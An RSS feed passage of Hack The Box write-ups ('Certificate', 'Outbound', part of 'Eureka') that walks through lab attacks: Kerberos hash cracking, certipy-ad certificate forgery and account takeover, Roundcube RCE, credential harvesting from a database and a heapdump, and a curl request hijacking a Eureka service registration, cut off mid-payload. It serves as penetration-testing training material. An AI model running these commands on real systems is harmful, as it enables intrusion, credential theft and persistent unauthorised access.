&lt;p&gt;&lt;img src=&quot;attachments/23eecef31a1284d359c94380328eba82.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that I had a valid set of creds and a good foothold I could start moving up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/98e11ce0e87d150eddabbdc1b35d4e90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8754f1df284632190786b863c2540d06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f76314304eeb9363299120c2a05c173e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;.pcap&lt;/code&gt; file? Let&apos;s check it out!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c194ae911b9dd1724c2b1df5f2e1beae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Wireshark&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e8bcd036a09071be9938f53c8f156948.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I opened up &lt;code&gt;wireshark&lt;/code&gt; and started analysing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac1c045daa3612e4e8d58b1e4f282ba5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can look for &lt;strong&gt;kerberos&lt;/strong&gt; authentication here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7429f15d66b7d780a592011b6fff9279.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While we see parts of it, it is not enough to decipher it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e264a684749aca10c83bf275eb92514d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7642d0d5b70af2212511c3683be041b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While the first one looked promising, it happened to be really dated.&lt;/p&gt;
&lt;p&gt;Instead I opted for the GitHub one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7ba33ec1da2c58d65f8c9e512979a3a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I played around with it and was easily able to retrieve some goodies:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d21cccd409ae90a2851ce5ad144eb17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;as_req cracking&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d5b379f971e672bf15a016487246b83.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using it we found the following password set:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Lion.SK
!QAZ2wsx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d77f0dee066a1585a9a1f83bcccc9d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5dc116b330fd456483fecbb36ac7ef28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2d7c0a82aa7e96ed66de478087eee4b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice that I&apos;m part of the &lt;strong&gt;Remote Management Group&lt;/strong&gt; so I go ahead and log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89ea763a79039408f842e4059ae949ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f468d28d17dc1ca0f90dd6f407f5fe4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And of course our privs are dogshit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d4068d1663c7c87359eabc62f34c10a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately &lt;code&gt;bloodhound&lt;/code&gt; didn&apos;t offer up any other interesting info either.&lt;/p&gt;
&lt;h2&gt;ESC3&lt;/h2&gt;
&lt;h3&gt;Certipy-ad&lt;/h3&gt;
&lt;p&gt;Using the following command I checked for whatever vulnerabilities this domain might have:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &apos;Lion.SK@certificate.htb&apos; -p &apos;!QAZ2wsx&apos; -stdout -vulnerable -dc-ip 10.10.11.71
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e338014ea5b441eb95baae2bca5e60e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/92dde93d4053b630f5c01c645c35b1db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked my mindmap and found the next steps:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/977ae580eba68e2f85bad75476d2c0e3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ll be targeting this template:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bbc8b019b9c8a4fa82e888baf2b7323f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The command will thus look as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;Lion.SK@certificate.htb&apos; -p &apos;!QAZ2wsx&apos; -template &apos;Delegated-CRA&apos; -dc-ip 10.10.11.71 -target &apos;DC01.certificate.htb&apos; -ca &apos;Certificate-LTD-CA&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a15d77d532261199f45fd1453d0be8af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we will be targeting &lt;em&gt;ryan.k&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;Lion.SK@certificate.htb&apos; -p &apos;!QAZ2wsx&apos; -template &apos;SignedUser&apos; -dc-ip 10.10.11.71 -target &apos;DC01.certificate.htb&apos; -ca &apos;Certificate-LTD-CA&apos; -pfx lion.sk.pfx -on-behalf-of &apos;CERTIFICATE\ryan.k&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f2891cc7644365b05910ffb32ff99a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;TGT&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx ryan.k.pfx -dc-ip 10.10.11.71
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa6253c722754e60e4e500fa34d46a4f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6702373d41a2ec2cd24a165933d579ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6fee0e4a29a04e411b68c5ad4788f023.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;SeManageVolumePrivilege&lt;/h2&gt;
&lt;p&gt;Final stretch, this one is actually quite neat, I&apos;ve already had the pleasure of doing it once before in [[Access#SeManageVolumePrivilege]].&lt;/p&gt;
&lt;p&gt;I go ahead and upload &lt;a href=&quot;https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public&quot;&gt;this tool&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ec71b4b4db60420dceaf2f889afbc72.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5bf4fed8f722be8c1363dae1ae5dbb32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Doing it the &lt;code&gt;dll&lt;/code&gt; route didn&apos;t work, Defender instantly flagged it.
:::&lt;/p&gt;
&lt;p&gt;I&apos;ll now create a &lt;code&gt;temp&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8936792c42fbc0b8536e8833d3a851f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Exporting Certificate&lt;/h3&gt;
&lt;p&gt;Now I will have to execute the following to export my certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil -Store My
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29dca3fcc2066832408baa661cf49db0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil -exportPFX My 75b2f4bbf31f108945147b466131bdca Certificate-LTD-CA.pfx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b422a70ef8bb5e5a9d4f1d28cf7ca826.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c7fc8f2c846215501c8788368854fa30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e126a99cf802c33e53dfd59d0e14066.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Forging Administrator Certificate&lt;/h3&gt;
&lt;p&gt;Upon download I can now use &lt;code&gt;certipy-ad&lt;/code&gt; to &lt;code&gt;forge&lt;/code&gt; a certificate for &lt;em&gt;Administrator&lt;/em&gt; which I will in turn use to log in and take over their account.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad forge -ca-pfx Certificate-LTD-CA.pfx -upn &apos;Administrator@certificate.htb&apos; -out admin.pfx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afc973870d1480daf724ec6865acf980.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Persistence&lt;/h3&gt;
&lt;p&gt;I then go ahead and change the password so I can keep my backdoor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx admin.pfx -username &apos;Administrator&apos; -dc-ip 10.10.11.71 -domain certificate.htb -ldap-shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/497c6434c96c6d41d3c762f9d142359d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e76a87f66ce86e1b86d561cdc1366457.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/16c372be7681974885194b8479490582.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Outbound</title><link>https://maxk9999.vercel.app/posts/outbound</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/outbound</guid><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.77

Creds:
tyler / LhKL1o9Nm3X2
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn outbound.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7f61c8afcb67cd14190fa737ef8a022.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked for other subdomains but no hits:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50a67abfc3459560b91c69699790ab6d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4d565f1c47fa32c2cab0638e8712ccd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we can easily log in with the provided creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/87c431879c4f7c0a8398c3a642233de4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1757a92a890ef9590128545caf8d1c35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling around I manage to find the version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4747c4e96ba43b631bce066919a87528.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CVE-2025-49113 - Authenticated RCE&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/64393584d450f3f10111c67be44e7fe5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09cfa2f2ea5bfaa984f55f57bf75a8bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently the exploit lies in this piece of code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/08fbb709dca9df7dda1c7fee557fee41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling further down we can find the PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2405a6ccda1d12b4e6dda82740d09396.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can&apos;t just get traditional reverse shell right away, instead it&apos;s limited RCE:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ecf7381e7c9385480fa09d0e27b4fb3c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;I was able to get a full-on reverse shell using the following method:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58bd6182e02594e65139ea4f947a4c0e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a278e5bd53c4a4e404ae8f3573ee349.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Time for some enum:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0257fc0f162894dfa98b9bf2c50e90f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded over &lt;code&gt;linpeas.sh&lt;/code&gt; to speed up my enum.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/953e6c11eab9e04a4f09cd5949e2db6b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28dc9afef7ab5fe8e9663e88ba8d2def.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mysql&lt;/code&gt; is open and running.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/23870465a85d1cfb154a462558ba1f25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/16cff22984cd05a983d91c2ac3ca89db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;roundcube
RCDBPass2025
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/134a093a11570d41ba4056d370244c38.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;MySQL&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/92353364456d4b4aab06b0d7a3cf562e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a3f9f9ac8491f1529586f38e9ba5820.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d27c3ab4a16af2e0cac90ec4e25f7ec0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement - Tyler&lt;/h2&gt;
&lt;p&gt;Eventually I figured to respray the password and got access as &lt;em&gt;tyler&lt;/em&gt; using &lt;code&gt;su&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5f7b4c705ec1ae530d6bab297240cac2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
After being stuck for a while I returned to &lt;code&gt;mysql&lt;/code&gt; and found that I needed to decypher the session:
:::&lt;/p&gt;
&lt;h3&gt;Return to MySQL&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f83775265bd70f0d256a6b3a7df7db16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/335dae5080bbc140ba41013838078cde.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From here we can decipher the text:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc5b9bfb12e278aa59d726bd45b2fbc5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now I can use the &lt;code&gt;/var/www/html/roundcube/decrypt.sh&lt;/code&gt; script to decipher that one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b323c2c6aceeda2eaa3c8331c5c0e30a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement - Jacob&lt;/h2&gt;
&lt;p&gt;We can now return back to the web service again to log in there:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4f17a364dcb0d948ff09ab935eea146.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f03995c3aeb2d45538e939364c097d90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6f9b68dd6e10c83cea61118c49d39cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jacob
gY4Wr3a1evp4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can use these creds to login to &lt;code&gt;ssh&lt;/code&gt; for real this time:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cfb15bd64335c539f74bc3b75269756b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afe2c91a73e6145700487bd5e51696a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;CVE-2025-27591 - Below&lt;/h2&gt;
&lt;p&gt;So we have &lt;code&gt;sudo -l&lt;/code&gt; privs for the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/caf55c7905625fe10202a7591cdacb1d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Luckily for us someone&apos;s already made a PoC for getting &lt;em&gt;root&lt;/em&gt; -&amp;gt; https://github.com/BridgerAlderson/CVE-2025-27591-PoC?tab=readme-ov-file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89700107f74238251d1a0fde9553419c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b515e1a0694c25b886c42ee7c57a1fb4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Super duper easy!&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d00fd2c9b6e38aa7e8f9fc025a3c67a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/30518a9b739424aa84d02cce3db75e7d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;---=&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Eureka</title><link>https://maxk9999.vercel.app/posts/eureka</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/eureka</guid><pubDate>Tue, 15 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.66
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sT -sC -p- -vvvv -T5 --min-rate=5000 eureka.htb

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    syn-ack Apache Tomcat (language: en)
| http-auth: 
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn&apos;t have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nuclei&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/323cef0a8614bb3d9d7b2de2899a9895.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and ran &lt;code&gt;nuclei&lt;/code&gt; in order to enumerate the vulnerabilities:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65dfa74df4c961ebd25bc72daecf5cdd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://furni.htb/actuator/heapdump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above actuator jumps out as critical. The heap dump can expose credentials, tokens, secrets, and application internals.&lt;/p&gt;
&lt;h2&gt;JDumpSpider&lt;/h2&gt;
&lt;p&gt;To extract the &lt;code&gt;heapdump&lt;/code&gt; we can use the &lt;code&gt;jdumpspider&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b9b7db468a60eb638c0eeca98917849.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I head on over to the releases and download the most recent one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b8d65b05df966d0073a0e461ff07a778.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I download the &lt;code&gt;heapdump&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb8d051ea74d90fc559f520520c110c0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I run the script against the &lt;code&gt;heapdump&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d5c9a4ca11c5a0884fbdf31c2dcb9198.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gives us a set of creds:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar190
0sc@r190_S0l!dP@sswd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
This also appears to be the &lt;code&gt;mysql&lt;/code&gt; creds:
&lt;img src=&quot;attachments/00379a4f43530a49b945d1024bafea6c.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a196ca6fa683712adb506f12ad91395.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I use the found creds to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7165e5f0d406063481703af2083f4309.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this just gave me an error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f7ebb33b52d06e8e20e745f231b4f4f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as oscar190&lt;/h2&gt;
&lt;p&gt;Turns out these creds are valid for &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d7bf1fa29cdcb5554ab708f220cf3073.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started enumerating the target.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f206b1cb8bc9f665a938c8211e6fddb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e2f75d287a479ee0681052e8916c3d08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d18963a7f5a78b475aa82a2f6f6a1cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2ee1c49a236297e9f301fca041e2123.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;8761/TCP - Eureka Server&lt;/h2&gt;
&lt;p&gt;So what now?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2f4d3fb2e5664cc859928b598139032.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out there&apos;s more interesting ports running on &lt;code&gt;localhost&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And by using the &lt;code&gt;strings&lt;/code&gt; command on the &lt;code&gt;heapdump&lt;/code&gt; we can extract even another set of creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/26fb30dfe473efc43bf718e9958e1eda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EurekaSrvr
0scarPWDisTheB3st
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using these creds I can log into &lt;code&gt;8761&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1be0dc13aafb2413cb15d6de910e2c97.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/024e8a65cb0fddd1eedc48b765ccba16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So... WTF is &lt;strong&gt;Eureka Server&lt;/strong&gt;???&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/907e37aae7ff7249fa852c876ceba3c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82f15f6c7a28d0dbb3a9df6fe98772ef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started reading &lt;a href=&quot;https://engineering.backbase.com/2023/05/16/hacking-netflix-eureka&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc575727d0085c7067a7eb1544f67161.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling further down:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cab548585e77042b18913568b491eefd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc2313eed7da216323065ef43bd9f81c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can essentially fake it by sending the following request and overwriting it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@240.0.0.1:8761/eureka/apps/USER-MANAGEMENT-SERVICE  -H &apos;Content-Type: application/json&apos; -d &apos;{ 
  &quot;instance&quot;: {
    &quot;instanceId&quot;: &quot;USER-MANAGEMENT-SERVICE&quot;,
    &quot;hostName&quot;: &quot;10.10.14.17&quot;,
    &quot;app&quot;: &quot;USER-MANAGEMENT-SERVICE&quot;,
    &quot;ipAddr&quot;: &quot;10.10.14.17&quot;,
    &quot;vipAddress&quot;: &quot;USER-MANAGEMENT-SERVICE&quot;,
    &quot;secureVipAddress&quot;: &quot;USER-MANAGEMENT-SERVICE&quot;,
    &quot;status&quot;: &quot;UP&quot;,
    &quot;port&quot;: {   
      &quot;$&quot;: 8081,
